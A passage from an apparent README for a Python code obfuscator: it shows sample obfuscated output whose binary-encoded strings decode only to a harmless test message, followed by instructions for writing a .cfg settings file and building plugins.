"KaZFOVvtKOfttPUHsDouNWfUYafQjopnMdtYkSpvxBFGePkZzjcgYovQBjljiPpXpcWahXfypbSifjsBohUTpUBeVhkSAvNulQau", 44069166, "biyysSkkmTmZQEuhJpFyYFKgUnkoBiFmpjmXkHjljSxxKcgYjuQoXjoInRBvqlNOhZFkCcGAEhAZfsZjgWklLacImRedSVtVCpsU", "UuhlaFkTfYrtnjNlKDVSbpbIpjSiFSmejtQhAGOMlKFRmtjkVIrusNPKzTmkjkkbxeyFUmhtajYByQQkVqaqKJkuLeGCzTBYjRzh", "HrEjZaLAKqQbYmHPGAYCIoYxnxQTVccskcGmEKzKmxiOKgsCrvXoajZxSxtRiCcoJaZdRArWMTNTafsoeQeRZjylumqDMAkIsBxO", 386340926, "TXxsNKcxLXjrFIIRjreirfGbLPtbTzNkoOytmapzIBUnOHfzTKpOZseZNvXIELzPKbxqvbogrUgCMDomOWeXVNferMzNxnZWqIZA", 822436883, 23386069, 326271907, "RUJrtsmzqvuPSbFKjiRdnhbYgVQdqcfZOFYuCmeLAltgxgMKBRvdGtETCJcYcVtpuxknnSTMurXreNDYthAPsbKzLDyuFvTLKHDx", "dZXZZhBMlnRmcOBhSQSZLbWXJNmqTjupoZnabyoaEcXpKWAZAOtgqpctHzvPmodtKjxoxWZsyQjKuJAtQzkCruoFfAmNxkBaOozY", 935715438, 931001918, 297923089, "ZhiMQGOZQtCItXiyErbfPfzDmXfbMTMAPgDVAyxJxVDqnzWWiHlDDpGakdnzKAiBOCSMsSNLUHVHKlOxYUEGsrLBXyqZFnWcRTXt", "HXzOnPjoTUIuOyKYfKObLdYjQdyCccBxHhXxpBsoyGpuzlWqcvlbemhkINJRngqpAAzKqjWxQEHiCavzpVcyQosxJJPZHVUsTziQ", "FdcqjmqNGKLWOzVHtJNXGPOxTVvSFdPBsBkPnUizPBQuftxFKEESkSXzEziAiYTdqZpMZTpbFSMuoXhfUKCrYxVErlQSBmoujUXM", 852322067, "CkfvQsNhlZzvHKfHDXLcZqcoHAoVorhtQSJWZBgHmproVWmZrRgtxiKrhJZtEaODIaJOsPBouLXVARkYlsZASBpOGAhHSdAspSVC", 561226537, "WdoNxhiFFEzvdTMMteKPJPkWgjZiKUoztTWUpEIXPHzBJoDOAzVRuirLfWzINXdvEtAgvvDBzJhTdrFyokNoRVnARBUTEMqWaUco", "jutjrbBGCoPkhrHGlAhLUWyZfoqpurKWHgQImgfeuZIPOQEWeJkQDbFInMFfVIittoQPRFjEGrVHEoXuVNGWLvujcFGpfMTlJKbU", "YSMBUTIOaUxDQNXqlJuvBPoXjOTzlQcbtIoIYXIjOrSAZBtMaadlZNHWThtUNCTZmNKLNAbyBGznEWiryWImDublPvyEInxRajlE", "eMynAujDOPIsvyvnmrnclENjBzTqFdUnNIWnoeqlFGtOLZuySdGgJtgtvRJpcVCvRbxtqcHfXteBoBqNMUVxZupdbhKikGFiLlEN", "BCiOfPVdZMpmGncoVtkVOccGkzKeOqKZHzlldcLWdbmapKQFhLxacMfAerbqGNQODaKElgnCCOzqGbznHbSNKWPxDKWiEWyRhUuy"] 47 | w3MsDUJHklBknGpFsJDOIi = ["aCjgtULFTrOJAvcnszgghVMHIxmBHhnqbQHkBEacJlFZFSPJPVObHjxyuTbZbOlMHjcrpGFAiHVayHOLlTzAsRmmvTEFZHSVhnbT", 725810523, "OvPuXGcpOmdFXWVxBatXICzKEJgsChSfMtkCxRThVTtHCRYuTeDFdqZmVAodSWfgYmlLxVSFcehvQyYOTILvALxmWMmGQUVSLohB", "bAWADKyyvJTbIvpHdDfkgfAQzZQhGroFlcUMIfGsZiqmZOOTvIIHlzUROAmNCQYZYMGvKpYUWJapTcZhnZgKLGPOnamcOQlhmmMJ", "lWACJoKqBSeGvqNcSiodLXFsVFzMDJCHAIxUimPbEDnullOqmzCrQifviqZmRqRBgJUqjCdsblYbqFisACzSjdZuDUTzPRfABMjq", "kNNORWkEZVjetnZxsYCPsJXfLVXRauuRUGfCAzcuaayKGSQYyhykytkjorUxxiCHieOdRUvLNeCSVbAAddjbsZokhOYPrKBnqAAx", "dyaFqxUMAYJYqoPpkyrfUMrqcVzkPOFZoCMdzqbsrRgghngTxglpadVvLULrnqqktkYjzbPiKAzRtqJfbhPyzZkAzJABHakzeIjS", 522666718, "gHEatMnsmPijFCIEPoWXlxTdDJlCINuqDuChPkGOyHucRpDdWNIEMEpADNleMfuXfQGzTOgYXHFdycZJXCgumfQOpxhAjUVGdVWa", "tvxmolIuJUXMoiikrISLIQWqVssSTWzjeWoQUXXIDOJJDLddnYRAQhgFFUlNkZgPFeJQusgpyXYAkFujYezdGUOyiHyXmsFIUNIo", "TSzXcEtRCLWEdbRlMmHbxWPJqiTnTbrbcdSLQrvMueloyuEDHnEzGKmCAhMuvFQgWXfBZblQPLbMyxgUynjxiYNyFEJZFIcrRjUf", "rOWNNuAiErRLFSOfogWpikpnLatozSAEoDySnHcdFspNmGFcVWgrzjiDuDmnobBmAbctKGJZRWYbIHShvSMYvznWPaHHRyDBohLX", "DZbukQKSashOEiHSGxlNdRQrXEeyognYTrTWFcBVHQOmNXNCVDiQMyRDrsULugeyrMzndhQxBnscmybuMpcYNYAAJfVftDEzBWJH", "oYFkJNRGOJUcAFahVRxWedVLqMtzIvbEVReDWrLYUlLjCmYYQPhROEErFoXGrXKqFMHJSzqTgqMUcARCepxWatbOAFyTSxfLixDh", "gnIRUlJTFCEqrUYDSnCQcZgDMVYdDLDMHQWlGmmoCeTKBSDVVcMcyZUMAxjWgzjhYNpJyptvjkgQNITnhWbNYelbuguBtpWjbEvc", "xWYJSYEhjTOtJHcYjSyMCJNWjJEkRnvSlgjjspAsFKfsHRuuLHqnpHdbKHesUCXyqfcQEThXqeiPFDMqnjGkCfhlWfDTMFfrkLLL", "dXfpvjEQlKGpREEAdFfbCTakneLVBmHeddHBLTppYigsNELmVkAMIAGsoxmziCAhaMiKbdXqXfOntfhXQoLqXbThIcEjQBuHOJFs", 881866921, 742603558, 105731814, "KfiDfvihGzgzpCnPqcJNcFUReRovyEgBciRjgUlkBMIaChqAiQHLXoDLWjsCPNgpzQfpnZRmyadDTfeRcNnUbyunmMSzXNRUjMWe", "FSbzLbDtSTYXNLojjchJHsmrAkUbLGGHthogmqVdAKJcMauhKSqtzTadBtaoBplxNCAcTcvZNHoNIKMcGQeEqgCocfZOgUaUcQcy", 381660658, "LoEPSSOzAgTlmbZaGAFYegdJJYgBfLRhWgdrXBXtOIrChXqWcYCVoqHFAqIqqofXuxBMgDcYmFJAeLXvWoxABKhcSWtzBxmFfIIx", 132522033, "YizyjurWMjWgboEIVNRpLItyrGCgMLqAbFlGELHfUWHEQHdSoTLITmstPPTzdGSQDHMWZWKSSnUXFNHqKRIItxrTYIdqJKMEYVLL", "BTbClSUuOgmrVaolscjLEqMFMWThmOVjYPtDezfASTfIPJvUQhtlLLXKsYVbKIkQDPWNZXdNyeRfIzkQcLUbDUnjDLjHLWCUsuQq", "ljdaGhnFTIVbbCbXJlgqWZhIMYYzqoYjaalEOceiXyyIxEUjgcyEzbxySxZGxWAVSSRaAOBkCleCMgLySpgvDBKIdlyJloztzBKn", 268905614, "ZNLmMyNOyxQuDlouFMmTXqAlvBsoVEbLCGAMYQzOrmRFWkiuTBVAluxgarIAbiOHlaRybzQhRuzZKVUyeEgmsnUdMjdLhPjpDWLI", "WjJKgxUvOUWMSsYYiekkDzdMazzvTqiEVGrqfPfBNBEEDsSBABVRQaXDgpCmDEZBeCDLuoEUfESYhKkzBUgWjsQKtmHNSZiJiarC", "LnYBXqHmRqXDxMWLriuWMtKZQSmXcfHSFpOmFqIcuQlturZPISGqcEZbsIYXryHWetyPKSHTEWZIRpKMZGsjKneBJlmecpRxkyXH", "TlYWvvYFXfIlQKfXeAxoexFamxbgEUnADQHqsRREcfHeyIRMPNvxLHqhjSCcdQBnjCzhymcrFSeUEIGIdrmtVvjakxsVWGcSUtbW", "DrOOGsEEZZsEksarbWQIspMBnhFXSBVXKiemNJchKDcpmeJtLbvDPBWrGSEizaeiiSkBemKmGoxcjDumtZUloRcrNfFCWJBqOXiU", "GirHOKoJseozOYevmIjruqnjuLdHQYnWtzZseTiHfoEhFgROFCarCOSaCugvxCzdXnESBuWRzVPyRDRZLckWHdDIdCsTHaNZQssL", 509922793, "OpAlmmKHnDVJLyoeSTzSCpkzzSDMtMLvLgvjQCOYWQckgYMCbpFCQeAlLXJMMrlSgRGEhZMMyENdidtBOaQMgiNTjWUTTrzXhGsJ", "AxABxjWqIGJEaQlzyEnfKkcjXzmDhyqSPWaxIVeMXeoLbeykSUQSBpYKAtAPeAigUigTNaNHaakGcBXWWLEPQHEDXPBoKFnYQVUI", "eOeyDfjffbTLcxpVFRWVxIiShaoIRWZyOBTJITHzWSqQrKblkObOSlWkXdJJXeVnsYLVPktQvBuRPIzIQNxgEsLHISnUjmPfOnIY", "LpTOEaTqQNliaGtxgBYnaSMryyYKhRUZYioOPhvxWEUMsQMgLSUbsncnshtbdrfuWxFMavBEFFPnrcsbdDhGSareLcICizElMgHK", "LZDbVDCszNrKWbtbhmbsTsOPhAmAgcZZoiyWVWxrXxrKbbcBukmnTjoeCYUHGiXnVJAShLlsNSadqOBWCCVURPXVgdUgMZRkzCvI", 363817419, 341537995, "CRnxoaWZFIVInPWNiosKGiAMDWkiRiGNFTautuCOmkXUvOikxBVTOfWlTAvppcKTmjsRqUQCHoMLKayOKcUpEojDStBkZIQDRnaI", 299988785, "ahNEaimAnsXkzKMNXkSydRyHCXXQSAHuEGWQUJxXiPSrkGhhYoNLOqvUiUCGHEHukRsQmBLOfRloUlruzLnpMhXYYmaqMvipBmGa", "dGazFOKaHaNYpTYRflMCTKibaMCkYxqOQuCzAgpPnKFYZLJQmOvvedrtnZmFYjMoJPqlCUGmhcKUuavMjndIYSJLyiKIExlXvUOk", 244017685, 819516055, "oIYnUhNSAUgipRsYJPYkSPvApxZDUltFWKAttbllPiBKPAKiVZjouVqdJQfHTcZKRzvKKZVFzkrjMcXHxoJGJeKglErvvRRCrxYI"] 48 | w3VzBxfZhAbqbtzRUIlmzT = 897.1725610606898 49 | w3eXLWUQRiMNSYIqvXydWn = 222123754 50 | w3nvpitulgeQnyzdLRHCXs = ["PygyrTQsbXPRaayjWzTpzoSlUFLpWQFCJyOcZddrhJpDDzeURsresxTlWsuJMpskqRFxugdIStxrtNDKEpfVmgUFSetaACCyIVfA", "qeMxKfGeikHgmasxbRytrldqzQIoWZcNJrpODvfyEBVCYWhLcAfBvoheKPvUatpkXronixqiCkaClcIxshfFAzGoBcEQriBcULXX", "bkPCrOfduKoUiCDezNhCEJaNJPLOWofShecHWZGzDvWXkAEIUMWlqtdsCkSeIMNGmShoIbckNJcaBYRFXZCXgyLCRkBIcaLrasIo", "OASdxIYsJDrnOuhNQrkCkFPAlObpisprWTlXDJzYBvPZUANoOVneyvRCueusuDnUxXbcMEDyabbeSPXNPesnmKYZcVPmaAnXiIEh", "EzmeMfTfNaYhFQydHgvaAiEecHgTxZzjQXygOuZHjGIiUSUxxsQMqpvKQlqxjBmJUySkASoNvlOvZhuLToxECAFHhbltehsvKVSI", 242819006, "fFPizFymejPfBElaPQXdyYxzhxCLOMAUflLuDCLniqiCZilzxFVDJOJnGTXnXabNreaVOofrvoqbeBSEXpjgDoiTzUJDRTYSyrPp", "WJUeOkxXMzWPYUzzhSOhnFaWSvGnPYasnbVshKouzuFGsWnChjOhKbFtOUxUCihshmcJBAjRZTRMIYctIkkBfKBUPtGASWEHjiYu", "AEtjpZQvOHzuXzGilVgKVuZkhsyBSdFAjFshUOPUQxFBXUcbLYhCcpgGQnOaronkAoRPtHbpcqzMiGayGhotXJMpUJSIDpHmMWCS", 78598533, "PdAQUfYKaXPatxDtAGMFfFVPOVSeamXTlpRyLfScIEUseAOhCQHKGlJEZjmprxQExIoUOXJPzUiudRkFhKoqiAOIVIuTbBqTPsIV", "PmJOMpXFUukkMgXRUlXHverqEuSPZEHdhcWpyEKUYyRuWpstsjjMLmfHjNsgQNKrtTZQtFvmGYCukYhjYIQRBVWecbZRqyJJhvES", "tDMsBKohUdrCreHpvDhMqhRgjSNuuUNEGSYDflYSshcHQzZZLGDKQIDYOixtScYdmFgEekinnCjOTopmjODENqbdBsucCWFGoKrn", "GzCxZnXlvmayfnQLRZIMDlFPffJPpjBTzJMstBrsJJkHOypWcvSyUIuDfxhnEEoVcsOUFnpKWIOJWvBfslLvzZeDUmFcJMJiBPJx", "CBXVcYgSjSstnCpIXRVGvDrfFvNKVUrDaEPYcPYrWatUzxmtJcRGYkagpzqdRjxaaJMlgPTsMXUaylCdTiKGUkdIbaFmnuYacBqW", "dDavRsFetHvuOmqDWgkgzqqBMIIpJxeXDABSpaZDvsLbajdmMmhojjRzjenFXZtJzPRnhVVDAvkucUQVJWrlNpManmaxhQiahyfd", 62635551, "OkgVocvxiqzOzkJLDVCMAdQXhZLMJcxuFGvCenRlIYzLvceOWILchLpXnNMtMmhjeGbJGqIDzYJSHLibyjrHrNLYibCxGRxBiDZp", 397458198, "YgtWYtjKMrTxUQpxFjckKbLPMiVyvnzYrqRFFDYmJjUkNtRbuqImkYparxBCgiEfxyJbdFlVDTonLFxzMLDpxYSpQyPJLIcLHctu", 463231765, "BaLzZoIrcylTdKzYuuWrclAFpSDiKXATPAKYbyxBVktTyLCAZsoNpfEPhVtRgSxTfKilpFYRCDDZbIOvBuxLGjyaIWjZCvtJjZDY", 77862573, 587982829, 379591597, "cJiEocsMpQVdWTfsrqjEXmuJCbZZHqYgPBQzEAehCYMOZiNVtsVCpoxQGDTXdbslLdMWLgLPoeXCutxunxrSgLIDjSzjjKGRVLBi", 710639106, 123753883, "cBAfaDmXLllTiYyMCpHjCWAAqvxGWbsjXsMkKepBAGQnBGoINEWleYObmJvUNiQRzShEdzGWusNjohjZXKtedeinsiXpJomrMvRJ", "ctPBTazlPAsEhziBIlkItTaebiDgEDHyqrDdlxedVthtDxLjEarMAsVHMmnLjyJUUpTfrdEJVdYEcfqhsLiVRmqygERGPfJfrRmJ", "KIrlhsFRbFOaDUmvLIJIgXNyKZMDrUZrJluHhKUbXjPFZDaZpDZSyMUHFIkguVczbzZUuvcNrbMKchufefPeKdOxeEohmHygKqkt", 3665727, 970586994, "NAvemvAbzktOhMcrpPkAoxCgctsQdtCEzsvFJcONDJJSroBMOKHpQeIglKeNyVgnNbpuEKqAgCndjmHnxoYEfZpRWZzVpZlbPamf", "QujghvBPViqINMzqbqhcPXeboamYtRIKWFahUsyrAqOnYtnBrkiePrfEDvbACmsnJAbmPvOZXCfsvHoELQhXnqEovcGAvCXPsyga", 25027561, "TVoYDERonesxiYVIiDgcfTrdPAWjPvNTvVuWlqPVLsPRsmrgnbYWcnIQtSLFqIuqYWDBeQPCZumiPqbOvSzKrzcQbCJSxJgkGaUs", "sLnZvPesSTaiWbTkXWkFxKBhWpsivaPPRLiDxEjOQXGZgCOxcnjDYJAUxPtFLkEZfNVWjWlUEiZLGPrLSsDBTcpjYSMCqXTeSOAn", 579183275, "zirslzdozSbMYzxXmBmpenACEBRmJqLPcWHuuIVyOoZRrgzKiWQdYfaEjHHgjajmdpWhrXqyGsudkNcuibafNmFVmpororNQsWOa", "xYDpbNAOWDRdFWPArUvpanavZYMPXrkNcSQrPdRNXNylbynDeNhZDHjZlIHgGPlJzhrlSiHmqyovWIhFjiQbxIqtINBmgQRsnmgR", "pNdtTglcBCYEBCNmsDySLfEHxbGhgOOZfUlkQbDDUlrXcVCBJKezauKJeyQHWFjUHIKSBVuBFgsxAiOMGffEPBoKRaYaPhLOMDyO", "CVxTbSHhNUCPfvfdKpSdGQmWKKqJCKuuOLviEfQabOrhusPWIsikxpCbkKdcEqieSrkUyyvpoqZWXucaixPNerOLsimTFPGFljNM", 577678496, 590511808, 839666040, 483246058, 476698303, "rSOFIoIABcAVVGbVsxsRbtbnqrCehfDaplacRNbaTUiurkNsqqgezELgbVefillvZaHkYlNGAlpVFcXBqxuhcGmtOMYsBVdHJNHh", "RruZfqvDYIjNMzfhDzssCduKKovDFvxuLvYFOZTPZVXuChnebUMPlcfQliSSrafMOXFtnExnQeSMLYdMqbOBJXiiSAgcNsDxWLGB"] 51 | w3VGaKvkidvJNBWoqpZTDH = ["DvihZYpXXUkCzfVEYIjExqVEKHgruDoEXNmFaFWqdVMKYsXXUUesHzYGBvPLvSCDcyeKubBgcImIgDQLvhMHtTZeduOgmgHZxRBE", "jGNVhRArDosDOmTQiBnLcGPuZgRDAIkboTroWrEWExBXVJnlXPGcMEFBdJhWnNnNeLMkaQpmzTXxpYOKetWTPgeMvviRhkrjDiJp", "cydzeNIAeAeClExHHUjssNZEVuoEVqgDDJpZfVXlyfmhUeXnyqMuqYJYPqrZJRJZEgOJyeEdNKtTVbnXikZBQcZCJUNbQtxXEEzX", "DfqLRWnHYVmZXIHxuuloZILhroJPzVxPBhisQqfgWqgHbVutfFeFZgPbKcdfGKaOFjgAirquTnDlvpegBxJuqyLNRWnnKANMDQDr", "ykWzKcHCKYHgrZcEPVfsBzfujuSthOzLIPotDQWtDJzKPrIBUAluRfrDlYAAAXdQmHiqnOfPxdzKhLoCkVKaIdoKmHTonMlWjHFP", 706230429, 629850629, 630100368, "RInCtpcSQksfKbOTQhPNTAmxTopjbeldbRgxXqEzeXWgREtnUDJhmXXcmEohJLKGEVtvEUyAQMLzVENiqpcGJbVnFTxrYWxYuKrI", "jOlkidXTXlErxdIxgUIexMGmubKNGiGXjOGthlivQsszDbMidyYoDyxdlVcjZAXkvjTqSlWaHsvBgkhWKuSgCjDtnThCFDyKFNqd", "aPgBFdMjeoBUtQrRZHRGTHuyyxTRezfWJdMZBJynOaYRWyWIWrruUsNVHoPVJvkThRZOQENDAuupEXdHNDcNryPVKkfTjqjgXrla", "qCsMIaDqOeQPQqhxJhAvxiSetnCrKjEzVLOhorimEUVpkhQXOkMbvtisTuDIIBPLFOzgFWlACzOQkMGpxMEKvaGGydUQPzpaODgt", "XUAPMhUetZJnQttrZevTgpmTUhAbiEPvsbqdFGfoClEZYmNOfuOJfNXzvmAKqKLMifsOnVkljaFiBYFsxpXsDRRTcbruSiiUXCph", 783085438, "oyjsNiajmaUGPQkmgNlBavPKnHbrOfrffyNOpcPkaLjbJXGUDBiZPCPeUFqykIaRargDjIoJKyUJzTZVkEaUSSEIFVfqdkLARNLW", 894722719, "mdECczWKhVRCrKHFCBRpbkdYOSrEJSeYMlBNJkxlQlHVBnDDyLMythfacfJCpBaiXxNWzTOdnaQWiXJRAgazoQLPzPovFBQWEiYX", "tzNiSLqehJfqPuCxDjqajeEtogTGstsHqLrKdVybQzsFoFqppnbbyWFtcbGPfCGWraRoROjTtRZEqXAieYCXcxvJObisqgMDMhmt", "AdVYAmcTBsMKJKkfjzaDhyjWjcFqtCAhrGDMuWyfyRKLvNCqatFcrfVgCuFBXgHNdfgFgmreuKILyUrOBzisdADUvpEGHsOZLrac", "eUmuWvKgUvsidfYmfqVtJuCRARMCSbuUsZzRDnSWkZigCcetXACBGnAJNGMppagLKmmQAOBOgSoNWEgUyRkPxEmBGmxGcOFOsxaI", "JuFqTOkLiFOEeURdWpGEMfSheTDxiZJicalDHXnOCYCVJYKDzGdUQkYtjYDnLbnAMyrFzTtJcgmuPpgYzvbNZdPOnkCfoPgaeqVG", "dgmzNXeKCXzdniEWJDexVaaopUrQZKzbEPldmrgjIMDpunKaWzSSmbddyPejZeHkifvJHEgsONNEushjTWvXyjPPhSsASkdfSBRo", 22435311, "KnasaVLTcuytmkTRDnbWMXiyVHvqRJXkqbRFuUvXkhylcpOPTqToAQIMACQlfGtTzbxTjPcsOCOkKBIDkZlhiCSQnQhybSRZriQt", "pDJsoLyRQqDXiqirEsDZxtQgeaGepaYkfErbTnAdNWEDbdTDGFZgVussgGmdGuhMXMVICFLUgAEWFDThSuShmGqYLhTtgAAcgyJF", "OtJRFYfpSrCzPpviNbRyCqJyMjFTUGuGNMhexUfeeJAsbRcKamWpDQicMQavduaxCuYSebeuMybaaGePsFdRZLSqHCcVrOcLOaGt", 995071391, 299736912, 193466903, 335030134, "WeynxUnqFfrSqCSilsgteymKUlBalbEvUNZsPgpMDvCVEMJWPXFDliyWWsBnyJeYASsLHcEcPxUHWXFnjZVcxqQRWADvstkVOBee", "mbpnjfFviKtfjDBRqIuTFNJCJcKpLkDVIPlVKqLKolSZrVuAtKsvXhyQEAAZRyscKmjSKOoHrqDLoDSFbjdCXLFUcQtaOWeqTiuY", "ZYleKOOOUTSJuRZyFCoCMCbfHSqxuiKdbsFLROIbfUfyivrZvXDeFUMEHcsADGbXbHrertvkjBluVNiCevNsTZCLnjJeeBUJftgR", "bFnvtoNKcsrHEfjRWEUEVBPDCIXrPAfcUmcTAWHJWWfBtagEPYCkxQzhvWcfiZkxqrHuIYTOaRtYDjDjkkBkfQlAREzIyuNeHvUK", "vhEIlmKCjLmdbXAmjGJedEXoxZVWstJevpzYOfSudhEOpckponzvcJGaznquEshPSdfezalipAfuoyAhFvakbovkMUhJpiHiRRVG", "SHugokrfGCNFgtMCJLsykgGpPBaHRkzkjIVQkfhEDOWKuRctInIITukFNxaTylSXcDUzAHBcOvCBJVdjBspStyNKgTYTTAyvgzfb", "gLLBmOyGhWkueRfWgpTVduoYIfIgRBtrMdfiyRxcJMqOWPAyWySGfgYujrnxfcRESRRegJTosrzlCLCVPhGespnWHFPfHEThRmBt", "kYBeAczQjgTNYzGaJiierzTYpcrVRerdFoJnpNHlsEngDEmbYhpLJcGiklQEcjLbVupENKOtDUDRqqumNZrNYaaCWbQRYbAdUcSd", "GIPkzTZsuJLpTrHbYvHLDDgAoUGgnmxQxQcZSLOJPWuSTivkxdqQnahGpDFvbzBqiMYnMLzFgKYgBntaFvrUnMgXKZApUMcmPyqO", "IVBtGbXJRcQFOUWMdqGZoEYfCOCJsDADQXRJysvPikTVnJlHFKqIdstTrKeffSRsAtdseJVimuHcYZHHQVEpPvAPjFlbaAbtTbxy", 916340597, "JIFhyoklrdCulcseJMPkhxuSAadxicUHELcUJEzWOMAdcxetFznkmOUzAhJTQZLjPOxOPgGKaEUjQvmnfqPyHmTJZrNZXWqCiVsu", 748257360, "LiFOahEdJNkIDdpalyjjXIuWjgKVDeIQaIOGbNepeTinhKgvCDUbDlRIGJxGXvjZjCtCRjtAAFFpOyvtHLGmgVvRptzEoEHWvrqk", 293959660, 959801696, "gKWfBtxpYZvPliKTWQXyxYPWUVLTXCckkksihbMxdXWRdlnLHXyfjGqpGLRtEGlUXyIgMLCSLMqxEAuDueysAnDuYOyFVehNREKd", 357388772, 488535921, "oPHNzoCPvZRYGKufcstsnRDXZBkfaKnxNgBNrWvENkSPItdTbfUSlRUChTinhUvzmPIjlhbjxdeKYcnZNsaprkPMBTNXijizZlNJ"] 52 | w3kMKHNfUDzMQDpSaIfOud = "pExlcixaRzOnZJTFXxzaNhVdahJCTannUlUQyghQcmlQWCiOSiaSPLzzyXCfjThypPIdvQjGVvOFguqZhLjVoypevaRpeSjoRlbVibXYsULFhmzxjZhDfnIJoJhDuhguzPITxKgnEvFeMscQEXJyIVhUVHIKTUhufgieOeTvxWVqimeJFJbNAChkctZFAhoiZskzeusX" 53 | return (w3VzBxfZhAbqbtzRUIlmzT / 5) + 0.7252136739891557 54 | class w3QYORCAGQuRMVkEkoBfKz(): 55 | def __init__(self): 56 | print(''.join(chr(int(('01110100%01100101%01110011%01110100').replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(('01110100%01100101%01110011%01110100').replace('%', ''))//(0x0004 + 0x0004))) + ''.join(chr(int(('00100000%01100001%01110011%01100100%01100001%01110011%01100100').replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(('00100000%01100001%01110011%01100100%01100001%01110011%01100100').replace('%', ''))//(0x0004 + 0x0004)))) 57 | print(random.seed(7)) 58 | w3flHMGiTKgOpdWUBORQgU = w3QYORCAGQuRMVkEkoBfKz() 59 | 60 | ``` 61 | 62 |
63 |

64 |

How to create a config

65 |

You will need to create a file ending in .cfg

66 |

Then copy this into the file, you can edit the values to match your desired obfuscation output

67 |
68 | 69 | ```lombok.config 70 | # Rename Settings 71 | rename_vars = true 72 | rename_functions = true 73 | rename_class = true 74 | remove_comments = true 75 | 76 | # Naming Settings 77 | name_length = 20 78 | name_prefix = w3 79 | 80 | # Garbage Settings 81 | insert_garbage = false 82 | garbage_amount = 40 83 | garbage_length = 10 84 | 85 | 86 | # Encoder Settings 87 | encoded_list_garbage_length = 20 88 | encoder_type = bin 89 | binary_splitter = % 90 | # bin = binary 91 | # hex = hexadecimal 92 | # base64 = base64 93 | encode_strings = true 94 | encode_imports = true 95 | encode_ints = true 96 | encode_code = false 97 | 98 | 99 | map_path = assets 100 | ``` 101 |
102 |

Recommendations

103 |

Due to the method of obfuscation the obfuscator cannot yet tell if a name is a string or a var name, so try not to use var names in strings!

104 |

105 | Insert garbage is a bit buggy and can break code due to indenting issues so if you want to use insert garbage make sure to fix any indenting issues if they happen! 106 |

107 |
108 |

109 | How to make a plugin 110 |

111 |

To create a plugin use this repo as a template, then buid the file into a jar and drop it into the plugins folder 112 |

113 |
114 | 115 | 116 | --------------------------------------------------------------------------------